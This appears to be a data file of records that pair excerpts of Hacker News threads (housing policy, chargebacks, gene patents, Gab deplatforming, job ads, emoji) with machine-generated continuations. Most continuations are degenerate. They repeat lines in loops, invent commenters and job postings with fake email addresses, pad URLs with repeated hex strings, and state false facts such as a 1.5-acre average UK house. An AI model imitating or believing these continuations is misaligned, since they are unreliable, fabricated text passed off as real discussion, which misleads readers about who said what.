ThomPete\nhttp://m.phys.org/news/2015-03-particle.html\n======\nmsimpson\nThis article is much more clear on what the image actually represents:\n[http://www.livescience.com/50019-image-light-wave-\nparticle.h...](http://www.livescience.com/50019-image-light-wave-\nparticle.html)\n\n\"A clever technique and"} +{"output_text": " the people who are currently living in the luxury housing will move out\nand the people who are currently living in the less desirable housing will\nmove in.\n\n~~~\nempath75\nThat\u2019s not what the article says.\n\n~~~\nthrowawaymsft\nIt's not what the article says, but it's what the article implies.\n\n------\njedberg\nI think the article is missing the point.\n\nThe problem is that the housing market is", "input_text": " to meet demand. So only the lucky few who win the\nhousing lottery will benefit. Everyone else (most lower-income people, middle-\nincome renters overpaying for low-end housing) still loses out.\n\nI'd prefer that we solved the problem for most people rather than just a lucky\nfew. If people couldn't afford food because not enough farmland was available\nfor reasons like \"preserving the character of the area\" (imagine that you\ncan't truck food in from lower-cost locations in this scenario) you bet we'd\nfind a way to start growing more food stat. No one would say \"Well we'll just\nsubsidize food for some people so fewer people will starve. But it's no use\nletting farmers farm because they'll just grow Kobe beef and avocados instead\nof wheat and corn\".\n\n~~~\nkelnos\n> But it's impossible to make affordable and below-market housing profitable\n> unless the underlying issues, land acquisition costs and zoning, are\n> addressed.\n\nTotally agree. Developers don't want to build affordable housing because they\nin some cases actually stand to lose money when doing so. SF's byzantine\nplanning process makes it that way, and that's not going to change without\nsome heavy reform there.\n\n------\nempath75\nIf you build new luxury housing presumably people now living in less desirable\nhousing will upgrade, making their housing available at lower prices, etc.\n\n~~~\n1_2__4\nThis claim keeps popping up. I\u2019ve yet to see it include a citation. Maybe\ntoday will be different.\n\n~~~\nempath75\nIt\u2019s in this very article.\n\nWhat other outcome could happen?\n\n~~~\nthrowawaymsft\nThat"} +{"output_text": ".com/en/services/chargeback-\nservices/chargeback...](http://www.sedo.com/en/services/chargeback-\nservices/chargeback-services.html)\n\n------\njoshu\nI'm not sure I understand the business model.\n\n~~~\njoshu\nI think the business model is to charge the merchant for the time it takes to\nprocess the chargeback.\n\n------\njoshu\nI'm", "input_text": " will be a short delay before the merchant notification emails come out.\nWe put them through a degree of manual approval and due to load from HN\ntraffic it may take some time for them to be fully processed.\n\n------\neCa\nI think a page called \"Who we are\" [1] should answer that question, and not\ndescribe \"what we do\" (again). Especially with something involving such\nsensitive information.\n\n[1] \n\n------\ntwodayslate\nI'd rather just file a chargeback with my credit card company. It is just as\neasy imo.\n\n------\nbreck\nI think there is a big need for this type of service. The majority of my\ntransactions are fine, but there are times when I have a problem and getting\nit resolved is a huge hassle. Like last month when the NYTimes charged me $15\nbut a bug in their database prevented me from actually using my account. Took\n2 painful hours to get a refund.\n\nIn those cases I assume the merchant has better things to do as well, and it\nseems like a service like this could offload some work from their support\nstaff and, by adding things like exit surveys, turn those small number of bad\nexperiences into positive, constructive experiences for all parties.\n\n------\nmalbs\nWell I had a disputed charge I was planning on seeking to have overturned, so\nI've just tested the chargeback.cc system with this dispute as a trial\n\n~~~\nmyotherthings\nPlease do. If you have any feedback, please post it here or email it to\njames@chargeback.cc\n\n------\niusdfhsdfiuh\n[http://www.sedo"} +{"output_text": "://www.youtube.com/watch?v=Z_0_0_0-\nXcQ](http://www.youtube.com/watch?v=Z_0_0_0-XcQ)\n\n------\njoshu\nI'm proud of my kids.\n\n------\njoshu\nI'm proud of my kids.\n\n------\njoshu\nI'm proud of my kids.\n\n------\njoshu", "input_text": "school while working full-time in career progressing employment that's gotten\nme involved in deeply impactful work.\n\nAfter years of skirting close to poverty and receiving no help from either of\nour families, and coming out more educated and wealthy than anybody in my\nfamily history, through nothing but determination, hard work and a few\nsprinkles of luck. I now own a great home, in a fantastic neighborhood, am\n_almost_ debt free (house and all). But being able to also enjoy life at the\nsame time, to follow some of my passions, travel, enjoy food and art and wine.\n\nI've now found myself in a position where I've done the career, and I'm\nbacking off a bit to relax, learn and enjoy pure simple work for a change.\n\nThe life I live in now has exceeded any possible life I ever expected to live\nas a child. I'm incredibly proud of it.\n\n------\nwalshemj\nWell back a few years ago I got 1500 people a better pension.\n\nIn terms of my day job IT Fixing a 2 mill shortfall for BT and Finding a bug\nthat was costing total jobs 1/2 a mill a week.\n\n------\nChuckMcM\nI am most proud of my kids. They will be positively impacting the world's\nissues long after my passing. And as a result of being a parent I've come to\nappreciate that creating a good practice for solving a problem is much more\ndurable than solving the problem, because problems are never \"solved\" they\nmutate like viruses and re-appear in a slightly different form which is\nresistant to the previous solution.\n\n------\nlisper\nI got over my fear of talking to homeless people by making a movie about them:\n[http"} +{"output_text": "id=00413...](https://www.accenture.com/us-\nen/careers/jobdetails?id=00413006_en)\n\nLOCATION: Reston, VA | Software Engineer [https://www.accenture.com/us-\nen/careers/jobdetails?id=00413...](https://www.accenture.com/us-\nen/careers/jobdetails?id=00413006_", "input_text": "and-Medium-Companies-to-Work-For-\nLST_KQ0,43.htm)) and have been ranked at a top work place by the Austin\nAmerican-Statesman six years running\n([http://www.topworkplaces.com/frontend.php/regional-\nlist/comp...](http://www.topworkplaces.com/frontend.php/regional-\nlist/company/statesman/spiceworks)).\n\nFind out more about Spiceworks and see the current openings at\n[http://www.spiceworks.com/jobs](http://www.spiceworks.com/jobs)\n\n------\ndanamclee\nAccenture Federal Services | www.accenturefederal.com | ONSITE | Full-Time\n|[https://www.accenture.com/us-\nen/careers/jobsearch?keyword=fe...](https://www.accenture.com/us-\nen/careers/jobsearch?keyword=federal)\n\nMust have Defense Government Contract experience for each opening.\n\nAccenture Federal Services Company, is a leading solutions integrator focused\non using information and technology to solve real world problems for the\nFederal government.\n\nMultiple positions listed below: LOCATION: Reston, VA | Federal Cloud\nEngineer/LINUX [https://www.accenture.com/us-\nen/careers/jobdetails?id=004130...](https://www.accenture.com/us-\nen/careers/jobdetails?id=00413006_en)\n\nLOCATION: Chantilly, VA | Software Engineer [https://www.accenture.com/us-\nen/careers/jobdetails?"} +{"output_text": " the cDNA and\nthen patenting it.\n\n~~~\nsageikosa\nThe ruling is that the isolated cDNA is not patentable because it is not\n\"natural\".\n\n~~~\nakiselev\nI'm not sure I understand. Is the isolated cDNA not patentable because it is\nnot \"natural\"?\n\n~~~\nsageikosa\nThe ruling is that the isolated cDNA is not patentable because it is not\n\"natural\".\n\n------\ns", "input_text": " disappointing. Does that mean if you manage to\nsuccessfully isolate a natural version of a patented cDNA, then that patent\nbecomes effectively invalid?\n\nIn practice this might not be the hardest thing to do. Do you like someone's\nengineered version of a gene? Then transform some randomized libraries into\ncell cultures (or add mutagens) and keep fishing until you extract a \"natural\"\ncopy that is the same as the patented cDNA.\n\n------\nabitsios\nThere's a new TV series that touches upon this - Orphan Black.\n\n\\---- Spoilers, obviously ----\n\nSo they're clones, and they have a \"special repeating marker\" of some sorts.\nOne of the clones is a biochemist, and she manages to decode it. Turns out, it\nis a copyright message covering those organisms _and their biological\noffspring_ as property of X corporation. \\-------- Spooky, but wouldn't the\nmessage get diluted after reproduction?\n\n~~~\nsageikosa\nFrom what I understand, the likelihood of any cistron in the genetic code\ngetting diluted is dependent on the sequence length compared to the overall\nlength of the chromosome on which it can be found.\n\nHowever, since this is sci-fi, it may be possible that some of the genetic\nsequence is setup to actually alter the meiosis process and not perform any\n\"crossing over\" events in egg cell construction.\n\n------\nakiselev\nCan anyone with experience clarify this ruling? Is the SCOTUS saying that just\nbecause the specific cDNA strand doesn't exist in nature (as far as I know),\nthen it is patentable?\n\nCorrect me if I misunderstood the ruling, but it seems to be absolutely\nridiculous. You could just automate the process of isolating"} +{"output_text": "everyone else is too scared, that's a problem.\n\n~~~\nmattsfrey\nI don't think it's a problem. I think it's a feature.\n\n~~~\nwpietri\nI think it's a feature that we need to be aware of.\n\n------\nmattsfrey\nI'm not sure what the point of this is.\n\nIf you're going to be a white nationalist, you're going to be a white\n", "input_text": " that companies actively want to host, but at\nsome point we're complaining that white nationalists don't get FRAND terms,\nand it's a little hard to get worked up about that.\n\nGab ran Twitter for White Nationalists off Digital Ocean, Azure, and who knows\nwhere else. Gab's users have a disconcerting tendency to blow up synagogues.\nGab itself has a disconcerting tendency to recruit people who cheerlead anti-\nSemitism. Are we surprised they aren't getting the $15,000 startup promo\ncredit from AWS?\n\n~~~\nmattsfrey\nAgain, details.. What if every single domain company decides to blackball\nthem? What do they do then? Nothing, they are off the internet.\n\n~~~\nwpietri\nI guess they'll have to return to sharing their desire to kill black people\nthe old fashioned way, in person.\n\nSomething you aren't grappling with here is the way the Internet has enabled\npreviously-scattered terrible people to connect and self-radicalize. David\nNeiwart, who tracked various \"patriot\", white supremacist, and other fringe\ngroups since the 90s, wrote a very readable book about how things have changed\nsince then: [https://www.amazon.com/Alt-America-Rise-Radical-Right-\nTrump/...](https://www.amazon.com/Alt-America-Rise-Radical-Right-\nTrump/dp/1786634236)\n\nI definitely appreciate the early ethos of the Internet. It's a good founding\nmyth, and I would like to work to keep things open by default. But if the\nworse 0.1% of humankind ends up not being able to host anything because\n"} +{"output_text": "zcam/f9d9e9d8e9f9d9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e", "input_text": "\nnet engine.\n\n~~~\nganeshkrishnan\nBoth stockfish and LC0 are open source.\n\n------\nendgame\nThere were multiple chess-related submissions in SIGBOVIK 2019:\n[http://www.sigbovik.org/2019/](http://www.sigbovik.org/2019/)\n\nIn particular, there was one that played a bunch of chess engines against each\nother, and came up with a better metric than Elo, for when players aren't\ngoing to change skill.\n\n------\nmynameishere\nAnother classic mismatched match-up:\n\n[https://www.youtube.com/watch?v=E4N0Ap2rkdI](https://www.youtube.com/watch?v=E4N0Ap2rkdI)\n\n...but I was more impressed by the Atari 2600 chess game which had castling\nand _en passant_. Having 256 bytes seems like a good excuse to leave out such\nnonsense.\n\n~~~\nSomeone\n256 bytes of RAM, plus insane amounts of ROM (a whopping 4kB, acccording to\n[https://en.wikipedia.org/wiki/Video_Chess](https://en.wikipedia.org/wiki/Video_Chess))\n\n~~~\njchw\nDang, 4kB... In 32 bit depth, you could encode that with a measily 32x32\nimage. Think of how many more bytes a smartphone from even several years ago\nhas in it's framebuffer, that it is more than capable of filling 60 or even\nmore times per frame.\n\n------\nz-cam\nRelevant (and mentioned at the end of the video):\n[https://gist.github.com/"} +{"output_text": " choice.\n\n~~~\nim3w1l\nThey have a choice. They can choose to not associate with Nazis.\n\n~~~\nhakfoo\nThey can choose to not associate with Nazis.\n\nThey can choose to not associate with Nazis.\n\nThey can choose to not associate with Nazis.\n\nThey can choose to not associate with Nazis.\n\nThey can choose to not associate with Nazis.\n\nThey can choose to not associate with Nazis.\n\n", "input_text": "lements, but Facebook felt that leaving them on make it a place families\n(and their grandparents) won't visit. Gab would like to use Stripe or Paypal\nbecause they are trusted payment providers, but those networks felt they'd\nstop being trusted payment providers if they let Gab stay on.\n\nAnd there's plenty of reason to think they're right: super-permissive\nplatforms exist and work (4chan et al.), they just don't attract the same\nbroad audience. When people complain about being deplatformed, they're just\nsaying \"the platforms that accept me aren't popular enough\". I'm glad our\ninternet is enough of a distributed commons that many platforms are broadly\naccessible -- but nobody owes you an audience at the most popular ones.\n\n~~~\nim3w1l\nFirst people get kicked off their platforms \"build your own platforms\"\n\nThen platforms got kicked off the platform platforms \"build your own platform\nplatforms\"\n\nWhat reason is there to assume those platform platforms will not get kicked\noff the platform platform platforms?\n\nThese people are not arguing in good faith.\n\n~~~\namputect\nWhat's the alternative to \"build your own platforms\" though. Are you willing\nto compel Stripe by threat of force to keep processing credit cards for nazis?\nAre you willing to completely torpedo freedom of association, as long as the\npeople demanding your company continue associating with them are sufficiently\nmonstrous?\n\n~~~\nhakfoo\nWhat makes the 'deplatforming' threat viable is that so many critical aspects\nof an online business are a choice between private-enterprise players. Stripe\nor Authorize.net. AWS or DigitalOcean. GoDaddy or Namecheap.\n\nAs you suggest, they have no individual"} +{"output_text": " changed the way we\ninteract with each other.\n\n------\njoshu\nI wonder if the author is aware of the \"Orkut is dead\" meme.\n\n~~~\njoshu\nI'm not sure if it's a meme, but it's certainly a common sentiment.\n\n------\njoshu\nI wonder if the author is aware of the \"Orkut is dead\" meme.\n\n~~~\njoshu\n", "input_text": " in every post, Mr. Caldwell has put out\nmore interesting articles on the social space than I've seen in a long, long\ntime.\n\nApp.net seems like an interesting experiment, and I support it in theory, but\ndon't really use much of social networks so haven't contributed yet. I think\nI'm going to give him $50 just to see if he can sustain the same level of\noutput on his blog, as my own little experiment.\n\n~~~\nbreckinloggins\nI agree. It just goes to show you that marketing and self-promotion only make\nyou look like a sleazy used-car salesman when you have nothing interesting to\nsay.\n\n------\nrusstrpkovski\nThe In the Plex book provides some insights into why Orkut failed:\n\n1\\. As Orkut increased in popularity, it was flooded with identity thieves and\nViagra ads.\n\n2\\. Google focused on rewriting Orkut's Windows-based infrastructure to scale\non Google's platform instead of improving the design and adding features\n\n3\\. Users bailed because of poor response time. Brazilians and Indians used to\nslow Internet access so they were tolerant of the delays.\n\n4\\. While finishing the rewrite of Orkut, Facebook was starting to take off.\n\n------\nJVIDEL\nI just want to say is funny how some people downplay Orkut for being full of\nBrasilians and Indians when those are 2 of the most growing consumer markets\nin the world.\n\nYou have companies all over the world fighting to get those markets, Apple\nwent as far as building a factory in Brasil to get a foothold there.\n\n------\nmrkrwtsn\nIt's really exciting to consider how Twitter fundamentally"} +{"output_text": " MILLION DOLLARS because you\npublished a book that we don't like.\"\n\nYOU: \"Oh, that's terrible. I'm so sorry. I'll pay you $100,000 to settle this\nout of court.\"\n\nTROLLCORP: \"No, no, no. We're not going to settle. We're going to sue you for\n$1,000,000.\"\n\nYOU: \"Oh, that's terrible. I'm", "input_text": "Wii's downloadable channel, it doesn't matter. Any one of those could be gone\nin a year or two.\n\nHere's an example, there are people out there who make millions of dollars\nselling e-books and mediocre/overpriced software on Clickbank right now. Some\nof those people get sued I'm sure for their products. More people show up. You\ncould take the same ebook and sell it on Kindle or Nook if you got shut down\nor you could sell your software on the Mac App Store or Chrome Web Store if CB\nwent under.\n\nThere are so many platforms to distribute and build software and businesses on\nnow, it really is hard to complain about the death of the indie developer\nbecause there are so many new companies getting started every day on all these\ndifferent platforms that didn't exist even 5 years ago.\n\nAs a business owner you can't control all risk, but you certainly can and\nshould plan around them.\n\nIf one channel gets shut down, move on to a different one or a different\nproduct.\n\nGreat devs and great companies aren't built on one hit one time wonders.\n\n~~~\nmaxxxxx\nThe problem is that a lawsuit easily can take out a small developer. Even if\nthe lawsuit is completely frivolous. I can't afford tens of thousands of\ndollars for a lawsuit. If I get sued my company is probably done. It doesn't\nmatter if the suit has merit or not.\n\n~~~\nmechanical_fish\nI haven't gone through this or anything, so maybe an actual lawyer would be\nhappy to speak up in this thread. But my simpleminded understanding is that\nyour typical frivolous lawsuit goes like this, only less transparently:\n\nTROLLCORP: \"We're suing your company for ONE"} +{"output_text": " tell you to\ndo something, you should say no.\n\n~~~\nsailfast\nI agree with you on this. I think that the key is to be able to say \"no\"\nwithout being seen as a \"yes\" person. I think that the best way to do this is\nto be able to communicate your concerns and questions to your manager, and\nthen be able to say \"no\" without being seen as a \"yes\" person.\n\n------\n", "input_text": " levels of management\nwelcomed dissenting opinions - maybe that is one of the key bits to look for\nwhen determining if a (traditionally-structured) company is a good place to be\na mid-level manager.\n\n~~~\nsailfast\nAgreed - I don't think that all honesty has to go out the window just because\nyou are in a management position. Communicating decisions is one aspect, but\neffectively implementing them in your team is a whole other thing. Honest\ndiscussion of concerns and what can be improved is important, and as much as\nmanagement likes to think their poker face is awesome, employees are smart and\nsee straight through bullshit.\n\nSecondly, what I heard in your comment (and agree with) but don't see in the\noriginal post is anything about engaging to be an advocate for your employees\nup the chain, giving them an opportunity to tell you what they need, the\nquestions they have, the things you can do. To a certain extent this might\nmake you lonelier on the \"who do I talk to?\" side, but helps a great deal as a\nreminder of the purpose of the job.\n\n------\nHtsthbjig\nLearn to say \"no\". I have a company that I managed. In the company I was the\n\"boss\", but my boss was our customers. You need to say no to customers often.\n\nBefore learning to say no life was miserable. After I did it was heaven. Learn\nto say reasonable noes to your customers, to your upper managers, to your\npartner,to your kids, and your life will be much better.\n\nForget the advice of that stupid blog. You should not always support upper\nmanagement, you are not a drone. If you work in the army and they"} +{"output_text": "](https://farmlogs.com/jobs)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a few positions:\n\n* Senior Software Engineer (Java)\n\n* Senior Software Engineer (Scala)\n\n* Senior Software Engineer (Go)\n\n* Senior Software Engineer (Frontend)\n\n* Senior Software Engineer (Backend)\n\n", "input_text": " worldwide, foundation of modern digital communication. You must have\nexperience designing and building large and complex (yet maintainable)\nsystems, and you should be able to do so in about one-third the time that most\ncompetent people think possible. You should have a BS, MS, or PhD in Computer\nScience or the equivalent. Top-notch communication skills are essential.\nExpect talented, motivated, intense, and interesting co-workers. Must be\nwilling to relocate to the Prague area (we will help cover moving costs). Your\ncompensation will include meaningful equity ownership.\n\nEmail us at pavel@ipfabric.io\n\n------\nheadcanon\nFarmLogs (YC W12) \u2022 Ann Arbor, MI \u2022 Onsite/Remote \u2022\n[https://farmlogs.com](https://farmlogs.com)\n\nFarmLogs is inventing the future of farming. We build software to help farmers\ngrow more with less.\n\nOur stack is predominantly Clojure and Python, with a strong trend towards\nmore and more Python. Our domain involves data from all over: soil samples,\nsatellite imagery, radar, telematics from tractors, temperature data, the list\ngoes on.\n\nWe run 100% on Kubernetes, Docker, and AWS.\n\nWe have a strong preference for onsite candidates, but would accept a remote\ncandidate if they have experience working remotely before and are in the US.\n\nWe've got a handful of open positions, notably:\n\n\\- Chief Architect\n\n\\- Product Designer\n\n\\- Product Analyst\n\n\\- Senior Backend Engineer (6+ years experience)\n\n\\- Data Engineer\n\n\\- Geospatial Engineer\n\nCome take a look! [https://farmlogs.com/jobs"} +{"output_text": "' app to manage my\naccounts. It's a nice app, but it's not a phone. It's a\nsmartphone/tablet hybrid.\n\nI'm not sure if I'm the only one who feels this way. I'm not sure if\nit's a matter of taste, or if it'", "input_text": "'t\nunderstand how many \"first times\" there have been.\n\n[0] [https://www.sciencealert.com/scientists-have-just-seen-\nbirds...](https://www.sciencealert.com/scientists-have-just-seen-birds-sleep-\nwhile-flying-for-the-first-time-ever)\n\n[1] [https://gizmodo.com/we-finally-know-how-birds-sleep-\nduring-f...](https://gizmodo.com/we-finally-know-how-birds-sleep-during-\nflight-without-d-1784760623)\n\n[2] Sorry, I can't provide a source at the moment, will try to find it later.\n\nEdit: to be fair, this article is citing the ones in 2016. I found other\narticles from as early as 2014 [3] but maybe this is just about how for the\nfirst time the theory is actually based upon measured, empirical data. Like an\narticle that was recently in HN about semi-automatic weapons being more deadly\nthan non-automatic ones.\n\n[3] [http://sabersabor.es/una-vida-de-record-los-10-hechos-\nporten...](http://sabersabor.es/una-vida-de-record-los-10-hechos-portentosos-\ndel-vencejo/)\n\n~~~\nShakMR\n> This article was originally published by Max Planck Neuroscience on Aug. 3,\n> 2016. The relevant study can be retrieved here.\n\n \nAsk HN: Why aren't phones software? - Toenex\nI've recently started using my phone providers"} +{"output_text": "not a problem.\n\n~~~\nskimpycompiler\nI'm not sure. I think it's a solved problem for a small number of vehicles\nand a small number of destinations.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. I'm not sure I agree with\nthe author's premise that Uber is \"losing\" customers. I think the author is\ntrying to say that Uber is losing customers because they are not", "input_text": " they don't offer a fare estimate.\n\nusing this process I have saved myself 100s of dollars in ride fares.\n\n~~~\neastbayjake\n> I hate using lyft because they don't offer a fare estimate.\n\nWhere are you using these apps? In the Bay Area, I like Lyft better than Uber\nbecause Lyft gives you a specific fare but Uber gives you a range. (FWIW,\nthere are many other reasons I like Lyft better than Uber.)\n\n------\n__Joker\nHow does customer need to counteract if he needs a time sensitive ride? Lets\nsay, I need to go to Airport at time x. Neither I can book earlier to\nguarantee a ride nor can I wait out the surge.\n\n~~~\nmonort\nUse a transfer service, which offers pre-orders. Uber is losing all my airport\nrides because they don't have it.\n\n~~~\nTeMPOraL\nThey probably don't want it anyway. It's more profitable for both Uber and the\ndrivers to not take such rides; in the time to and back from airport they\ncould take several within the city.\n\n~~~\nmonort\nIf it's profitable for a generic limousine transfer services, why it's not\nprofitable for Uber? Blacklane seems to be profitable too.\n\n~~~\nskimpycompiler\nLogistics of planning all those orders and rides is expensive.\n\n~~~\nRetric\nSounds like a job for software.\n\n~~~\nskimpycompiler\nIt'd be interesting to see how someone handles vehicle routing problem on a\nlarge scale, quickly and optimally.\n\n~~~\nTeMPOraL\nIsn't that a solved problem since like the early 70s? Even computing power is\n"} +{"output_text": " the world of\nadvertising. We are a small team of engineers and data scientists who are\npassionate about solving hard problems. We are looking for engineers who are\npassionate about solving hard problems.\n\nWe are looking for engineers who are passionate about solving hard problems.\nWe are looking for engineers who are passionate about solving hard problems.\n\nWe are looking for engineers who are passionate about solving hard problems.\nWe are looking for engineers who are passionate about solving hard problems.", "input_text": " least 1+ year of experience in a data engineering, development,\nor a similar position. \u2022You understand best practices with SQL. You can\nthoughtfully design a database to enable perform queries and use advanced\nfeatures to make those queries fast and clean. \u2022You have experience with Ruby\non Rails and JavaScript, understand the strengths and weaknesses of them, and\nare curious to explore more. \u2022You have some experience or a strong interest in\ncontinual learning and are always continuing to strive for personal\ndevelopment.\n\nWhy You would want to join us?\n\n\u2022We\u2019re dedicated to finding the right fit with our people. We pick people and\nwe are dedicated to the development of those people. We are willing to boosts\nyour strengths, as long as you are looking to do that too. \u2022Our team works on\nsolving problems. We like to help other teams turn their needs into great\ntechnology, and we like developers to tackle the challenges. \u2022We move fast,\nwith many releases and an interactive approach to developing new features and\nmeasuring their success by client feedback. \u2022We have a gym in the office;\ncater lunch to everyone, Monday through Friday; Also have 4 rotational beer\nkegs to celebrate our successes! \u2022We offer very competitive salaries,\nexcellent benefits (and perks), and a generous PTO plan\n\n------\ntopstriker515\nMightySignal | Full Stack Engineer | San Francisco, CA |\n[https://mightysignal.com](https://mightysignal.com), ONSITE\n\nMightySignal | Frontend Engineer | San Francisco, CA |\n[https://mightysignal.com](https://mightysignal.com), ONSITE\n\nMightySignal unearths and analyzes hard to find data in"} +{"output_text": ", we're able to offer\ncompetitive salary, 401k, health insurance, and other benefits.\n\nWe're looking for someone who is comfortable working in a small team, and\nwants to work on a variety of projects.\n\nIf you're interested, please email me at john@iha.org\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We", "input_text": "JS, etc.\n\nSkills:\n\n \n \n * Solid Ruby and Ruby on Rails\n * JavaScript & modern frameworks (Angular.JS, Ember.JS)\n * Experience with legacy code, refactoring\n * 12 Factor App\n * Message Queues\n * API Design & testing (contracts)\n * RSpec, TDD\n * Docker (desired)\n \n\nWork at a profitable financial technology company on applications that have\nprocessed more than $120 billion in transactions last year. The company\nculture values employee contributions, diversity and respects work/life\nbalance. Read more and apply below:\n\n[http://primerevenue.applytojob.com/apply/G4cIgL/Sr-\nSoftware-...](http://primerevenue.applytojob.com/apply/G4cIgL/Sr-Software-\nEngineer-Contract)\n\n------\njrowley\nIntegrated Healthcare Association | Oakland, CA | Senior Full Stack Engineer /\nGeneralist | Full Time | On Site |\n\nCompetitive Salary + 401k + Full Health + subsidized gym membership + other\nperks\n\nWe're a small non-profit healthcare group focused on bringing together\ndisparate healthcare actors to push the needle of healthcare quality and\ninnovation. With 20 years in California's healthcare space, we have the\nconnections, reputation, and expertise to make significant change.\n\n* Do you enjoy creating coherent data models from many disparate data channels?\n\n* Do you enjoy uncovering and conveying insights from organizing data?\n\n* Do you enjoy building interactive web applications and data pipelines?\n\nWe're looking for Full Stack Web Engineer to help us build data pipelines and\nweb apps. Due to our company's relatively small size"} +{"output_text": " out to be about 1.5 acres.\n\n~~~\njessaustin\nI don't know about the US, but in the UK, the average house is about 1.5\nacres.\n\n~~~\nbastijn\nI was thinking about the US, but I guess it is the same.\n\n------\njessaustin\nI'm not sure I understand the point of this article. It seems to be saying\nthat the US has a lot of forest", "input_text": "\n(More on that:\n[https://www.youtube.com/watch?list=UUGNoTP0Nlc1O-EWf3d1m3QQ&...](https://www.youtube.com/watch?list=UUGNoTP0Nlc1O-EWf3d1m3QQ&time_continue=36&v=hRIPQ_q2iyY))\n\n~~~\nSCAQTony\nAfter that terrible fire in England I would recommend getting a 150-meter\nclimbing rope, a harness and an aluminum \"figure-eight\" and learn how to repel\nas a means of escape in case the smoke became far too overwhelming. But that's\njust me. I live in a house.\n\n~~~\nEGreg\nI had an invention that could help many people escape from a building:\n\nMagnetic strips on the side of the building, and backpacks with metal.\n\nYou put on the backpack and shimmy down. Just in case, you also strap yourself\nonto the slide by its sides, so as not to disconnect from it and fall off.\n\nThis is better than a rope because it can hold many people simultaneously.\n\nDo the magnets wear out over time though?\n\n~~~\nvlehto\nMagnets are probably way too expensive. Especially as you could get same\nfunctionality with regular fire ladder.\n\n~~~\nEGreg\nHow would you shimmy down the ladder?\n\nBut yes I suppose technically you can have rollers in vertical struts and have\nthem roll down inside the rails, carrying the person.\n\n------\nbastijn\nSo how much of earth do we need to cover with forest to have a sustainable\nproduction for our buildings at a level that it actually matters? One building\nworks"} +{"output_text": "\n\nR\u00e9sum\u00e9/CV:\n[https://www.linkedin.com/in/braunshizzle/](https://www.linkedin.com/in/braunshizzle/)\n\nEmail: braunshizzle@gmail.com\n\nI'm a full-stack developer with a passion for building web applications. I\nhave experience with Laravel, Laravel Spark, Laravel Forge, WordPress, and\nVue.js", "input_text": "packer.com/home/resume](http://robpacker.com/home/resume) LinkedIn:\n[https://www.linkedin.com/in/robpacker/](https://www.linkedin.com/in/robpacker/)\nEmail: repacker@gmail.com\n\n------\nfamoreira\nI'm a Full Stack developer and enjoying working both on the frontend and\nbackend. Also enjoy doing performance optimisation work on application and\ndatabase level, and have experience implementing improved CI pipelines.\n\nI offer a rate discount if I get to work with Elixir and/or Go.\n\n* Location: London, UK\n\n* Remote: Yes\n\n* Willing to relocate: No\n\n* Technologies: Ruby, Rails, JavaScript, React, Node.js, PostgreSQL, Heroku, AWS, DevOps, Jenkins, Docker\n\n* R\u00e9sum\u00e9/CV: [https://filipeamoreira.com/resume.pdf](https://filipeamoreira.com/resume.pdf)\n\n* Email: filipe@coderelax.com\n\n* GitHub: [https://github.com/filipeamoreira](https://github.com/filipeamoreira)\n\n------\nbraunshizzle\nLocation: Niagara, Ontario, Canada\n\nRemote: Yes\n\nWilling to relocate: No (but open to travel)\n\nTechnologies: PHP, Laravel, Laravel Spark, Laravel Forge, Javascript, jQuery,\nVue.js, Node.js, HTML, CSS, MySQL, AWS, WordPress, Linux, Vagrant, Docker,\nRedis, SASS, LESS, Web APIs, RESTful APIs."} +{"output_text": "\n\n[1]\n[https://www.youtube.com/watch?v=9_0_0_0_kA](https://www.youtube.com/watch?v=9_0_0_0_kA)\n\n[2]\n[https://www.youtube.com/watch?v=9_0_0_0_kA&t=1m30s](https://www.youtube.com/watch?", "input_text": "------\nerikrothoff\nI remember first seeing emoji on Github and that they were very early those\nemoticons. I'd love to know more about the story there. I did some Googling\nand found nothing...\n\n~~~\nwhyever\nGitHub is not so old, it started in 2008 IIRC.\n\n------\namelius\nI'm missing two smiley icons:\n\n-big hypocritical smile\n\n-not impressed\n\nAnd I'm missing the option to create and send my own emoticons as SVG.\n\n~~~\noblio\nI basically want all the old Yahoo Messenger smileys, updated for higher\nresolution displays: [https://usefulshortcuts.com/yahoo-messenger/smileys-\nemoticon...](https://usefulshortcuts.com/yahoo-messenger/smileys-\nemoticons.php)\n\nWe have a billion emojis yet we're missing some of the basic ones...\n\n~~~\nmixmastamyk\nThose were great, the hug for example is so much better.\n\n------\nyuhong\nI wonder if Sundar would be willing to attend Unicode UTC meetings.\n\n------\nivanb\nEither I'm too old or I don't get how to use Emojis. I only use them to add\ntone or express my feelings or attitude so I use maybe five to ten most common\nemoticons. Eggplant, ice cream or almost any kind of other \"factual\" icons are\ncompletely useless to me. I would rather have more readable and expressive\nemoticons than hundreds of useless figurines. It would be nice to see if\npeople indeed use them.\n\nMy favorite emoticons are Koloboks [1][2]."} +{"output_text": " backed companies like Airbnb, Stripe,\nDropbox, etc) and we're growing really fast.\n\nWe're looking for people who are passionate about education, love to learn,\nand want to work on a product that is changing the way students learn.\n\nIf you're interested, please email me at oliver@tophat.com\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n", "input_text": " offering flash sales on luxury travel\nwithin the UK and around the world. We negotiate amazing deals and exclusive\ndiscounts for our members.\n\nTravel is - and should be - exciting, and booking a holiday or hotel should be\na great experience. That's what we set out to achieve, and it's the philosophy\nthat drives us on. We want to inspire the world to escape, and we do so with\nstrong imagery, stylish writing, sought-after destinations and unbeatable\nprices.\n\nApply if you are looking for a fast paced, entrepreneurial environment where\nself-starters have an opportunity to make a huge impact in one of the\ninternet's fastest growing categories. We're a dedicated and passionate team\nwho work hard to make things happen. You won't find us standing on ceremony or\nworrying about corporate red tape (we're fresh out of that stuff).\n\nSee more: [https://goo.gl/EHqHmF](https://goo.gl/EHqHmF)\n\n------\noliviao\nTop Hat | www.tophat.com | Toronto, ON, Canada | ONSITE Full-time\n\nTop Hat is still hiring!! We are looking for really smart software engineers\nto join our team! Some of the roles we have available are: iOS developer,\nAndroid developer, Mobile Lead and Full stack web developer (Python, Django,\nJavascript, React.js/Flux, AWS, Ansible). Salary ranges based on experience\nfrom $80K to $130K. We're a pretty awesome growth startup in the education\nspace - we make the classroom more interactive, fun and engaging for both\nstudents and professors. We've got VC funding from some of the best investors\nin the world (the same guys that"} +{"output_text": "joshu\nI wonder if this is a result of the fact that the active twins were more\nlikely to be in the gym.\n\n------\njoshu\nI wonder if this is a result of the fact 